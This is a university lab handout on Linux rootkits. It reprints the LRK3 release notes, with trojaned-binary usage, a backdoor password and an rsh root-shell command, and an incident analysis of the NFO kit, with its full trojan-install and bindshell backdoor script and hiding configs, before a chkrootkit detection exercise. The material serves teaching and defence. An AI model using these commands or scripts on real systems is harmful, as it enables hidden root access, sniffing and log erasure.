Internet Security


College of Engineering & CS
Wright State University
Dayton, Ohio 45435-0001

Root Kits

 

Prabhaker Mateti

 
Abstract:  Rootkits are collections of programs that attempt to hide the activity of an attacker after root access was already gained.  The lab experiments involve detecting rootkits an already rooted Linux system.
 
This work was supported in part by NSF DUE-9951380.
  01/19/2002

Table of Contents

  1. Educational Objectives
  2. Root Kits
    1. An Example Rootkit
    2. Analysis of N.F.O Incident
    3. Rootkit Detection
  3. Lab Experiment
  4. Acknowledgements
  5. References

Educational Objectives

  1. Understand the structure of rootkits.
  2. Learn to "sense" the presence of rootkits.

Root Kits

"A rootkit is a set of programs which patch and Trojan existing execution paths within the system. This process violates the integrity of the trusted computing base. In other words, a rootkit is something which inserts backdoors into existing programs, and patches or breaks the existing security system."

  1. A rootkit may disable auditing when a certain user is logged on.
  2. A rootkit could allow anyone to log in if a certain backdoor password is used.
  3. A rootkit could patch the kernel itself, allowing anyone to run privileged code if they use a special filename.

An Example Rootkit

The following is an announcement of a  rootkit release.  (Spelling mistakes are not corrected.) This rootkit was for Linux.  But rootkits are known to exist for all major Unix variants and NT (see the References).  The current version of the kit is LRK6.

Cybernetik proudly presents...
 _     _                    ____             _   _    _ _     ___ ___ ___
| |   (_)_ __  _   ___  __ |  _ \ ___   ___ | |_| | _(_) |_  |_ _|_ _|_ _|
| |   | | '_ \| | | \ \/ / | |_) / _ \ / _ \| __| |/ / | __|  | | | | | |
| |___| | | | | |_| |>  <  |  _ < (_) | (_) | |_|   <| | |_   | | | | | |
|_____|_|_| |_|\__,_/_/\_\ |_| \_\___/ \___/ \__|_|\_\_|\__| |___|___|___|

		   Released 25/12/96 "Wewp, Wewp! Merry Xmas D00dz!"

UPDATES
3.0	Everything updated with lastest sources for 2.X kernel. 

	Added shadow support.

	Added trojan tcp wrappers.

	Removed sniffit and lled.

	Improved lots of stuff.

This packages includes the following:

chfn		Trojaned! User->r00t
chsh		Trojaned! User->r00t
inetd		Trojaned! Remote access
login		Trojaned! Remote access
ls		Trojaned! Hide files
du		Trojaned! Hide files
ifconfig	Trojaned! Hide sniffing
netstat		Trojaned! Hide connections
passwd		Trojaned! User->r00t
ps		Trojaned! Hide processes
top		Trojaned! Hide processes
rshd		Trojaned! Remote access
syslogd		Trojaned! Hide logs
linsniffer	Packet sniffer!
fix		File fixer!
z2		Zap2 utmp/wtmp/lastlog eraser!
wted		wtmp/utmp editor!
lled		lastlog editor!
bindshell	port/shell type daemon!
tcpd		Trojaned! Hide connections, avoid denies
		
INSTALLATION
To install this kit in its standard form execute 'make all install'.
To install the shadow kit execute 'make shadow install'.
All of the files/password configuration is in rootkit.h so feel free to
personalise your own version of lrk3 :-) This kit is for linux 2.X kernels 
ONLY so don't complain when nothing works on old systems. 

USAGE
OK I will go thru how to use each program one by one. NOTE when I say password
I mean the rootkit password not your users password (doh!). By default the
rootkit password is lrkr0x.

chfn -		Local user->root. Run chfn then when it asks you for a new name
		enter your password.

chsh -		Local user->root. Run chsh when it asks you for a new shell
		enter your password.

inetd -		Don't even *think* about asking ;-) It ain't that hard..

login -		Allows login to any account with the rootkit password.
		If root login is refused on your terminal login as "rewt".
		Disables history logging when backdoor is used.

ls -		Trojaned to hide specified files and dirs.
		The data file is ROOTKIT_FILES_FILE, defaults to /dev/ptyr.
		All files can be listed with 'ls -/' if SHOWFLAG is enabled.
		(see rootkit.h)
		The format of /dev/ptyr is:
		ptyr
		hack.dir
		w4r3z
		ie. just the filenames. This would hide any files/dirs with the
		names ptyr, hack.dir and w4r3z.

du -		Same as ls, 'cept for du instead :)

ifconfig -	Modified to remove PROMISC flag when sniffing.

netstat -	Modified to remove tcp/udp/sockets from or to specified
		addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE.
		default data file: /dev/ptyq
		type 0: hide uid
		type 1: hide local address
		type 2: hide remote address
		type 3: hide local port
		type 4: hide remote port
		type 5: hide UNIX socket path

		example:
		0 500           <- Hides all connections by uid 500
		1 128.31        <- Hides all local connections from 128.31.X.X
		2 128.31.39.20  <- Hides all remote connections to 128.31.39.20
		3 8000          <- Hides all local connections from port 8000
		4 6667          <- Hides all remote connections to port 6667
		5 .term/socket  <- Hides all UNIX sockets including the path 
				   .term/socket
		
passwd -	Local user->root. Enter your rootkit password instead of your
		old password.

ps -		Modified to remove specified processes.
		The file used is ROOTKIT_PROCESS_FILE, default to /dev/ptyp.
		An example data file is as follows:
        	0 0             Strips all processes running under root
        	1 p0            Strips tty p0
        	2 sniffer       Strips all programs with the name sniffer
		3 hack		Strips all programs with 'hack' in them 
				ie. proghack1, hack.scan, snhack etc.
		Don't put in the comments, obviously. Note: if this doesn't 
		seem to work make sure there are no spaces after the names, 
		and don't use the full path name.

top -		Identical to ps, 'cept for top instead.

rshd -		Execute remote commands as root. 
		Usage: rsh -l rootkitpassword host command
		ie. rsh -l lrkr0x cert.org /bin/sh -i
		    would start a root shell.

syslogd -	Modified to remove specified strings from logging.
		The data file is ROOTKIT_LOG_FILE, this defaults to /dev/ptys.
		Example data file:
		evil.com
		123.100.101.202
		rshd
		This would remove all logs containing the strings evil.com,
		123.100.101.202 and rshd.

tcpd -		Modified to allow access from your host without any logging. 
		Any type 1 record in the ROOTKIT_ADDRESS_FILE is used for 
		tcpd. See netstat for more infoz on this file.
		Example data file:
		1 123.4.5.6
		would set up the tcp wrappers to allow and hide connects from 
		123.4.5.6.

linsniffer -	A kewl packet sniffer. U might like to check out another 
		sniffer for linux if this doesn't suit ya needs.
		(ie. sniffit, pcs, snoofer, whatver). I removed sniffit for 
                space reasons, if you want it the latest version can be found 
                at http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
 
fix -		Replaces and fixes timestamp/checksum infomation on files.
		New lrk3 version :-)

z2 -		Zapper2! Run this to erase the last utmp/wtmp/lastlog entries
		for a username. This can be detected since it just nulls the
		entry out.

wted -		This does lots of stuff. U can view ALL the entries in a wtmp
		or utmp type file, erase entries by username or hostname,
		view zapped users (admins use a util similar to this to find
		erased entries), erase zapped users etc.

OTHER STUFF
Email: cybernetik@nym.alias.net
Finger: cybernetik@nym.alias.net

Im still waiting to see those unreleased exploits, cash and women ;-)

If its important then ENCRYPT IT!  My pgp key is:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2i

mQCNAzCG73gAAAEEAMbBS1Oy56dSvCbKBrPYj9Hz6g9c19bEW09H6+EDuYwjtWIP
b393hPkrbQqGje/kVqaip8uzaN70oyME40V36YU5/VN30yhLUA9XKkw3o00PE4Co
nT/mcN8z+dV69y7+M8lXv50J0FyWfcdAjlYz0NAdiLXG1t0pvvs6puG4V+tRAAUR
tCVDeWJlcm5ldGlrIDxjeWJlcm5ldGlrQG55bS5hbGlhcy5uZXQ+
=QJ+X
-----END PGP PUBLIC KEY BLOCK-----

Check out these kewl sites:	ftp://ftp.infonexus.com
				http://underground.org
				http://www.nether.net/~uk

And remember kiddies - stay off the warez.

Analysis of N.F.O Incident

The following is a slightly edited version of an article that analyzes a real incident (March 8, 2000) [http://www.sans.org/newlook/resources/IDFAQ/NFO.htm by Fredrik Ostergren (fredrik.ostergren@freebox.com)]

This kit was found on a compromised machine running RedHat 5.2 and was probably rooted using a rootexploit exploiting the POP2 daemon (version 4.46).  The dir where this kit was found was /usr/include/rpc/".. "  They installed a few backdoors and Trojans into the system that gives them root access and hides themselves.  These are the files that were found in the directory mentioned before.

slimsheet:~/nfo# ls -al
drwxr-xr-x 9 root root   4096 Dec 31 23:31 kit2/
-rw-r--r-- 1 root root 459397 Oct 27 14:35 kit_OUT_99.tgz
-rwxr-xr-x 1 ftp  50    13766 Nov 21 21:36 t666*
-rwxr-xr-x 1 root root 106096 Nov 20 05:26 wget*

slimsheet:~/nfo# ls -al kit2/
-rwxr-xr-x 1 root root  13762 Dec 10 20:55 admbind*
drwxr-xr-x 2 root root   4096 Sep 29 18:32 bd/
drwxr-xr-x 2 root root   4096 Jan 2  22:23 bnc/
-rwxr-xr-x 1 root root   1059 Oct 3  01:49 install*
drwxr-xr-x 2 root root   4096 Sep 29 18:32 pty/
-rw-r--r-- 1 root root      1 Dec 31 23:32 readme
drwxr-xr-x 2 root root   4096 Dec 5  21:44 resetlog/
drwxr-xr-x 2 root root   4096 Dec 31 23:30 scans/
drwxr-xr-x 2 root root   4096 Sep 29 18:32 sniff/
drwxr-xr-x 2 root root   4096 Sep 30 16:21 trojans/

Analysis

Three files were found in the directory, their names were kit_OUT_99.tgz, t666 & wget. The file kit_OUT_99.tgz was the original zipped kit that put itself into ./kit2/ when he untar'ed it.  wget is used to receive files from other servers at Internet. t666 is a bind/named remote exploit for mostly every OS out there, it exploits the bind 8.2.(X) version. If we enter the directory kit2 we'll find three more files in the same directory, admbind, install and readme. Admbind is probably a remote exploit for the bind version. The readme file is where the sniffer ./sniff/lins logs all connections but this file was 0 kb. The install file is a shell script:

#!/bin/sh
#backup
echo "Instalacao do Kit NFO GROUP v1.5"
if [ "$1" != "-install" ]; then
  echo "Use: ./install -install" ; echo ""
  exit
fi
echo -n "[*] Iniciando Backup..."
/bin/cp /bin/ls /usr/doc/.sl
/bin/cp /bin/ps /usr/doc/.sp
/bin/cp /bin/netstat /usr/doc/.statnet
/bin/cp /usr/sbin/syslogd /usr/doc/.logdsys
/bin/cp /usr/sbin/tcpd /usr/doc/.dpct
/bin/cp /sbin/ifconfig /usr/doc/.gifnocfi
/bin/cp /usr/bin/find /usr/doc/.dnif
/bin/cp /bin/login /usr/doc/.nigol
echo "ok"

# instalacao
echo -n "[*] Iniciando instalacao..."
/bin/cp -f trojans/ls.trj /bin/ls
/bin/cp -f trojans/ps.trj /bin/ps
/bin/cp -f trojans/netstat.trj /bin/netstat
/bin/cp -f trojans/syslogd.trj /usr/sbin/syslogd
/bin/cp -f trojans/tcpd.trj /usr/sbin/tcpd
/bin/cp -f trojans/ifconfig.trj /sbin/ifconfig
/bin/cp -f trojans/find.trj /usr/bin/find
/bin/cp -f trojans/login.trj /bin/login
/bin/cp -f pty/pty* /dev/
echo "ok"

echo -n "[*] Instalando backdoor..."
./bd/biba 14789632159 lal
echo "ok"

echo -n "[*] Sniffando..."
./sniff/lins
echo "ok"

echo "Instalacao completa :-)"
exit

The directory ./bd/ includes one file called biba. It's the binary from what probably is a bindshell.c copy. When it is executed by the install file it will put itself on port 14789632159. When you execute

# ./biba 31337 syslogd

it will bind a rootshell to port 31337 and it will look like it's syslogd running when root execute a ps aux.  This rootshell sits on the port 31337 listening for connections.  When you connect to it using telnet,  you'll not be given any prompt or anything like that.  It will only wait for a password, and if you enter the correct password, you'll receive a /bin/bash prompt with uid=0 (root).   The  password for this binary was discovered using a simple "strings biba" as "#N#F#O#G"

If we change directory to ./bnc/ we'll find a normal precompiled bouncer for IRC use and a file called bnc.conf which is the config file that are used by the binary "bnc".   The file bnc.cnf had the following.

pt:54123            <-------- This is the port the bouncer will listen for connections ps:ziggylinda       <-------- This is the password you need to enter to use the bouncer.
mu:3                   <-------- This is the "Max User" selection,  only 3 connections at the time.
dp:6667              <-------- Default IRC port to connect to is 6667 in this case.

In the directory /pty are four files: ptyp, ptyq, ptyr & ptys. All these belong to the rootkit and various Trojans, which are later moved to /dev. Their contents of ptyp were the following :

2 lins
3 biba
3 sadan
3 lal
3 cleans
3 z2
3 readme
3 in.telnetd
3 promisc
3 cat
3 grep
3 bash
3 sh
3 bnc
3 rpcscan
3 z0ne
This is the "Process hiding" file and everything that has a 3 in front of them will hide everything containing that string in a /bin/ps section. For example, when it says 3 biba in the file every line of output of ps containing biba will be hidden. When it says, for example, 2 lins it will hide all applications matching the string lins.

The file ptyq is the hiding file for netstat. It will remove tcp/udp/sockets from or to specified addresses, uids and ports. Its contents were:

0 0
1 200.241
1 200.244
1 200.243
1 200.242
1 expert.com.br
1 interconect.com.br
1 amazonline.com.br
1 libnet.com.br
2 200.241
2 200.242
2 200.240
2 200.243
2 200.242
2 libnet.com.br
2 amazonline.com.br
2 interconect.com.br
2 amazonline.com.br
2 14789632159
2 988889
3 14789632159
3 988889
5 /usr/include/rpc/".. "/kit/

In the last line above, the fourth path name component is a dot-dot-space.  Taken from the Readme for lrk (Linux RootKit), we learn the meanings of the digits at the beginning of these lines:

type 0: hide uid
type 1: hide local address.
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path

We see that the attackers want to hide all connections from 200.241-244 and the domains libnet.com.br, expert.com.br, amazonline.com.br,  interconect.com.br. Probably these are ISPs and it will be much easier to look for suspicious connections when we know from what domains they may come.

The next file is ptyr. Every name in this file will be hidden from ls / du.
ptyp
ptyq
ptyr
ptys
..

As you may notice thoose pty* files are hidden and also the directory where the attacker(s) stored all the files.

Next and last file is ptys and will hide the addresses in the file from syslogd. The contents of ptys were :
200.244
200.245
200.241
200.242
expert.com.br
interconect.com.br
amazonline.com.br
libnet.com.br

Now the attackers are sure that no connections from their hosts will be logged into the /var/log/* files or any other files syslogd may log to.

The directory resetlog had six  files. These files were  large and are made to clean logs; "head -n 5 sadan" revealed the following :


# [-] Sadan del log v 5.0 - BETA
# [-] written by the_sphinx to NFO group '99
# [-] ninefortyone@hotmail.com
#
#!/bin/bash

As you see it's a shellscript made by _sphinx for NFO group 99, It seems that he can be reached at ninefortyone@hotmail.com if you need to contact him concerning his "cleaning-logs-skills". There's another file called sadan-4_0-pt.sh in the same directory and we found this in the file :

echo; echo ; echo "[S] SADAN del log 4.0 - PORTUGUES"
echo "[S] sysdenial - tdoors@mailbr.com.br"
echo "[S] NFO Group OwnZ - Brazil - Out/99"

Yet another guy making scripts for log cleaning.

The next directory we enter is a directory called scans and it's from this dir all the network scans have been made. When we found this kit there were only two files in this directory, rpcscan and z0ne. z0ne is a tool to gather IPs from a top domain, e.g., to gather all IP addresses of *.edu. In the directory resetlog we found a file called .logs which was a simple "find / -name *log* > .logs and in this file we found the following entries :

/usr/include/rpc/.. /kit2/scans/mc.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log
/usr/include/rpc/.. /kit2/scans/200.log

Here we see that the intruder has been scanning *.no and the class A network 200.x.x.x for vulnerabilities. We also notice that someone scanned *.no and (maybe) *.mc for vulnerable versions of QPOP.

The next directory was called sniff and included two files, lins which was an Ethernet packet sniffer whose default logging file was ./readme. There was also a file called promisc which is a well-known software tool to detect sniffers at all Network interfaces, eth0, eth1, etc, etc.

The detection of this intrusion was fairly easy. We found an application named "bnc" running as uid=0 (root) and simply did "find / -name *bnc*" and found the secret directory mentioned above.  A compromise like this would be detected on a host running file-scanning software such as Tripwire.  

 


Rootkit Detection

Read D. O'Brien , "Recognizing and Recovering from Rootkit Attacks". Sys Admin 5(11) (November 1996), pp. 8-20.


Lab Experiment

All work should be carried out in the Operating Systems and Internet Security (OSIS) Lab, 429 Russ.   Use any of the PCs numbered 192.168.17.19 to .30.  (Machines numbered 192.168.17.11 to .18 do not have the rooted Linux installed.) No other WSU facilities are allowed. 

Objective: To experience rootkits and their detection.  You will be using two machines: one for compiling fresh copies of rootkit detection packages on a clean Linux machine, another running a rooted Linux system.  Experience the activity

  1. Download onto a clean Linux machine (M1) the source code of two rootkit detection packages among many available on the net (check-ps, and chkrootkit).  See links below.  Build the binaries.
  2. Boot another machine (M2) into "Rooted Linux for CEG429".  This is a system corrupted by a rootkit. Login as root.  (Password will be given in class.)
  3. Rlogin from M1 to M2 as user "intruder". (Password will be given in class.)  Use the machine M2.  Be creative.
  4. Which of the activity of user intruder are you (as root on M2) able to observe with standard Unix utilities? Re-read the section "Analysis of N.F.O Incident" above.
  5. Download from M1 check-ps and chkrootkit binaries.  Run these.  Write a report on how you would clean M2 up.
  6. Suppose you are the attacker.  What changes would you make to M2 so that these rootkit detection tools become ineffective if they were downloaded and built on M2?

Acknowledgements


References

  1. D. O'Brien , "Recognizing and Recovering from Rootkit Attacks". Sys Admin 5(11) (November 1996), pp. 8-20.  [local copy] Required reading.
  2. Greg Hoglund, "A *REAL* NT Rootkit, patching the NT Kernel," Phrack Magazine, Vol. 9, Issue 55, 09.09.99, 05 of 19.  www.phrack.org Excellent article.  Highly recommended reading.
  3. http://www.chkrootkit.org/ chkrootkit is a tool to locally check for signs of a rootkit.  Highly recommended reading.
  4. Dave Dittrich, "Root Kits" and hiding files/directories/processes after a break-in, Date: 2002/01/05,  staff.washington.edu/ dittrich/ misc/faqs/rootkits.faq
  5. http://packetstormsecurity.nl/UNIX/penetration/rootkits/ Collection of rootkits.
04/15/03 06:55:49 PM
Open Content Copyright © 2002 pmateti@cs.wright.edu